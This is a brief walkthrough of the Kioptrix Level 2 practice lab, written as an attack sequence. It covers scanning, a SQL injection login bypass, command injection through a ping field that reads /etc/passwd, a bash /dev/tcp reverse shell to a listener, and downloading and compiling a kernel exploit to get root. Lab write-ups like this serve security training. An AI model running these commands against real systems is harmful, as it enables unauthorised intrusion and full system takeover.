Kioptrix_level2

netdiscover -f -r 192.168.0.0/24

nmap -sS -T4 -A 192.168.0.9

 nikto -host 192.168.0.9 -port 80 -output nikto.html

SQL injection

username admin and password 'OR'1'='1

ping 127.0.0.1;cat /etc/passwd

;uname -ar

on kali linux: run nc -nlvp 443

on kioptrix   ; bash -i >& /dev/tcp/172.16.209.129/443 0>&1

you will get shell access on kali

run whoami

It will show apache

Now go back to kali

cat /etc/*-release it will show OS 4.5
 
run searchsploit -w linux kernel CentOS 
9545.c this one is for privilege escalation

python -m SimpleHTTPServer 80

wget http://kalilinuxIP/9545.c

after file getting downloaded

gcc -o priv 9545.c

chmod 755 priv

./priv

whoami  u will see root



cat .bash_history